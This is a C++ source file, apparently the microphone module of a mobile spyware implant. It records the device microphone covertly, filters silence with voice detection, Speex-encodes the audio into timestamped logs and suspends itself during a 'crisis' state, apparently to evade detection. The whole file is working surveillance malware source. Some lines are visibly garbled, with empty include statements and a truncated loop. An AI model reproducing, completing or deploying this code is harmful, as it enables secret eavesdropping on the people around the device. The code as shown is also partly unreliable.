#include "Modules.h" #include "Common.h" #include "Module.h" #include #include #include #include "CWaveForm.h" #include "speex/speex.h" #include "speex/speex_preprocess.h" #include "Conf.h" #include "Microphone.h" #include "Device.h" #include "Log.h" MicAdditionalData mad; BOOL bMicIsrecording, bUpdateTimestamp; INT vadThreshold; BOOL vad; DWORD dwMicBuffInCount; WAVEHDR tagMicWaveHdr[MIC_COUNT_BUFF]; CWaveformIn *micAgent; DWORD mic_buffer_len = MIC_DEF_BUFFER_LEN; DWORD mic_compress_factor = MIC_DEF_COMPRESS_FACTOR; void MicSaveEncode(BYTE *wave, DWORD total_size) { short *bit_sample; void *state; float *input; BYTE *to_write; BYTE *source_ptr; BYTE *cbits; SpeexBits bits; DWORD frame_size = 0; DWORD i, nbBytes; DWORD complexity = 1; //DWORD vad = 1; //SpeexPreprocessState *preprocess; // Crea un nuovo encoder in wide mode state = speex_encoder_init(speex_lib_get_mode(SPEEX_MODEID_NB)); speex_encoder_ctl(state, SPEEX_SET_QUALITY, &mic_compress_factor); speex_encoder_ctl(state, SPEEX_SET_COMPLEXITY, &complexity); //speex_encoder_ctl(state, SPEEX_SET_DTX, &vad); // Abilitiamo la trasmissione discontinua //speex_encoder_ctl(state, SPEEX_SET_VAD, &vad); // Abilitiamo il VAD speex_bits_init(&bits); speex_encoder_ctl(state, SPEEX_GET_FRAME_SIZE, &frame_size); //preprocess = speex_preprocess_state_init(frame_size, MIC_SAMPLE_RATE); //speex_preprocess_ctl(preprocess, SPEEX_PREPROCESS_SET_VAD, &vad); // Attiviamo il VAD if (!frame_size) { SPEEX_FREE; return; } // Allochiamo il buffer di output grande quanto quello originale (per sicurezza) if (!(to_write = new(std::nothrow) BYTE[frame_size*MIC_SAMPLE_SIZE])) { SPEEX_FREE; return; } cbits = to_write + sizeof(DWORD); // Punta al blocco dati, mentre la prima DWORD conterra' la dimensione // Allochiamo il buffer di elaborazione if (!(input = new(std::nothrow) FLOAT[frame_size])) { SAFE_DELETE(to_write); SPEEX_FREE; return; } // Se il VAD e' attivo if (vad) { // Controlliamo che ci sia voce nel campione SHORT sPrev = 0; UINT uZeroCross = 0; // wave -> wave + total_size in step di frame_Size * 2 for (source_ptr=wave; source_ptr+(frame_size*MIC_SAMPLE_SIZE)<=wave+total_size; source_ptr+=(frame_size*MIC_SAMPLE_SIZE)) { // Copiamo i campioni a 16 bit dentro dei float bit_sample = (short *)source_ptr; for (i = 0; i < frame_size; i++) { if ((INT)(sPrev * bit_sample[i]) < 0) uZeroCross++; sPrev = bit_sample[i]; } } FLOAT fCross = (float)(uZeroCross / (total_size / (frame_size * MIC_SAMPLE_SIZE))); // Se non c'e' voce, droppiamo il campione if (fCross >= (FLOAT)vadThreshold) { bUpdateTimestamp = TRUE; // Il prossimo loop dobbiamo aggiornare il timestamp SAFE_DELETE(to_write); SAFE_DELETE(input); SPEEX_FREE; return; } } Log log; // Se necessario aggiorniamo il timestamp if (bUpdateTimestamp) { unsigned __int64 temp_time = GetTime(); mad.fId.dwHighDateTime = (DWORD)((temp_time & 0xffffffff00000000) >> 32); mad.fId.dwLowDateTime = (DWORD)(temp_time & 0x00000000ffffffff); bUpdateTimestamp = FALSE; } if (log.CreateLog(LOGTYPE_MIC, (BYTE *)&mad, sizeof(mad), MMC1) == FALSE) { SAFE_DELETE(to_write); SAFE_DELETE(input); SPEEX_FREE; return; } // Continua finche' dopo source_ptr non rimane ancora spazio per un frame intero for (source_ptr=wave; source_ptr + (frame_size * MIC_SAMPLE_SIZE) <= wave + total_size; source_ptr += (frame_size * MIC_SAMPLE_SIZE)) { // Copiamo i campioni a 16 bit dentro dei float bit_sample = (short *)source_ptr; for (i=0; i (frame_size * MIC_SAMPLE_SIZE)) continue; // Check paranoico // Copia la lunghezza nei primi 4 byte per fare un'unica scrittura su file CopyMemory(to_write, &nbBytes, sizeof(DWORD)); log.WriteLog(to_write, nbBytes + sizeof(DWORD)); } log.CloseLog(); SAFE_DELETE(to_write); SAFE_DELETE(input); SPEEX_FREE; } void CALLBACK MicwaveInProc(HWAVEIN hwi, UINT uMsg, DWORD dwInstance, WAVEHDR *dwParam1, DWORD dwParam2) { if (uMsg == MM_WIM_DATA) { if (dwParam1->dwBytesRecorded > 0) MicSaveEncode((BYTE *)dwParam1->lpData, dwParam1->dwBytesRecorded); if (bMicIsrecording) { waveInUnprepareHeader(hwi, dwParam1, sizeof(WAVEHDR)); dwParam1->dwFlags = 0; dwParam1->dwBytesRecorded = 0; waveInPrepareHeader(hwi, dwParam1, sizeof(WAVEHDR)); waveInAddBuffer(hwi, dwParam1, sizeof(WAVEHDR)); } else { dwMicBuffInCount++; } } } BOOL MicRecordStop() { if (micAgent == NULL) return FALSE; bMicIsrecording = FALSE; micAgent->Reset(); // Aspetta che abbia flushato i buffer while(dwMicBuffInCount < MIC_COUNT_BUFF) Sleep(500); micAgent->Close(); for (int j=0; jUnprepareHeader(&(tagMicWaveHdr[j]), sizeof(WAVEHDR)); SAFE_FREE(tagMicWaveHdr[j].lpData); } delete micAgent; micAgent = NULL; return TRUE; } BOOL MicRecordStart() { WAVEFORMATEX in_pcmWaveFormat; CWaveform wave; UINT count = CWaveform::InGetNumDevs(); dwMicBuffInCount = 0; for (UINT i = 0; i < count && micAgent == NULL; i++) { WAVEINCAPS wic; CWaveform::InGetDevCaps(i, &wic, sizeof(WAVEINCAPS)); if (wic.dwFormats & WAVE_FORMAT_1M16) { ZeroMemory(&in_pcmWaveFormat, sizeof(WAVEFORMATEX)); CWaveform::PrepareWaveFormat(&in_pcmWaveFormat, WAVE_FORMAT_PCM, 1, MIC_SAMPLE_RATE, 16); micAgent = wave.InOpen(i, &in_pcmWaveFormat, (DWORD_PTR) MicwaveInProc, 0, CALLBACK_FUNCTION); } } if (micAgent == NULL) return FALSE; ZeroMemory(tagMicWaveHdr, sizeof(tagMicWaveHdr)); for (UINT j = 0; j < MIC_COUNT_BUFF; j++) { tagMicWaveHdr[j].dwBufferLength = mic_buffer_len; tagMicWaveHdr[j].dwLoops = 1; // Alloca i buffer di registrazione e li prepara if (!(tagMicWaveHdr[j].lpData = (char *)new(std::nothrow) CHAR[tagMicWaveHdr[j].dwBufferLength])) { for (UINT k = 0; k < j; k++) { SAFE_DELETE(tagMicWaveHdr[k].lpData); } micAgent->Close(); delete micAgent; micAgent = NULL; return FALSE; } } for (UINT j = 0; j < MIC_COUNT_BUFF; j++) { micAgent->PrepareHeader(&(tagMicWaveHdr[j]), sizeof(WAVEHDR)); micAgent->AddBuffer(&(tagMicWaveHdr[j]), sizeof(WAVEHDR)); } bMicIsrecording = TRUE; micAgent->Start(); return TRUE; } DWORD WINAPI RecordedMicrophone(LPVOID lpParam) { Module *me = (Module *)lpParam; Configuration *conf = me->getConf(); HANDLE eventHandle; Device *deviceObj = Device::self(); Status *statusObj = Status::self(); BOOL bCrisis = FALSE; bMicIsrecording = FALSE; micAgent = NULL; try { vadThreshold = 50; //conf->getDouble(L"threshold"); } catch (...) { vadThreshold = 50; } try { vad = conf->getBool(L"vad"); } catch (...) { vad = FALSE; } me->setStatus(MODULE_RUNNING); eventHandle = me->getEvent(); DBG_TRACE(L"Debug - Microphone.cpp - Microphone Module started\n", 5, FALSE); unsigned __int64 temp_time = GetTime(); ZeroMemory(&mad, sizeof(mad)); mad.uVersion = MIC_LOG_VERSION; mad.uSampleRate = MIC_SAMPLE_RATE | LOG_AUDIO_CODEC_SPEEX; mad.fId.dwHighDateTime = (DWORD)((temp_time & 0xffffffff00000000) >> 32); mad.fId.dwLowDateTime = (DWORD)(temp_time & 0x00000000ffffffff); bUpdateTimestamp = FALSE; // TRUE solo se passiamo dal silenzio alla voce deviceObj->SetMicPowerState(); MicRecordStart(); LOOP { while (bCrisis) { DBG_TRACE(L"Debug - Microphone.cpp - Microphone Module is in crisis\n", 6, FALSE); WaitForSingleObject(eventHandle, 10000); if (me->shouldStop()) { DBG_TRACE(L"Debug - Microphone.cpp - Microphone Module clean stop while in crisis [0]\n", 5, FALSE); me->setStatus(MODULE_STOPPED); return 0; } // Se la crisi e' finita... if ((statusObj->Crisis() & CRISIS_MIC) != CRISIS_MIC) { bCrisis = FALSE; deviceObj->SetMicPowerState(); MicRecordStart(); DBG_TRACE(L"Debug - Microphone.cpp - RecordedMicrophoneAgent leaving crisis\n", 6, FALSE); } } WaitForSingleObject(eventHandle, 10000); if (me->shouldStop()) { DBG_TRACE(L"Debug - Microphone.cpp - Microphone Module clean stop\n", 5, FALSE); MicRecordStop(); deviceObj->ReleaseMicPowerState(); me->setStatus(MODULE_STOPPED); return 0; } if ((statusObj->Crisis() & CRISIS_MIC) == CRISIS_MIC) { bCrisis = TRUE; MicRecordStop(); deviceObj->ReleaseMicPowerState(); } } return 0; } .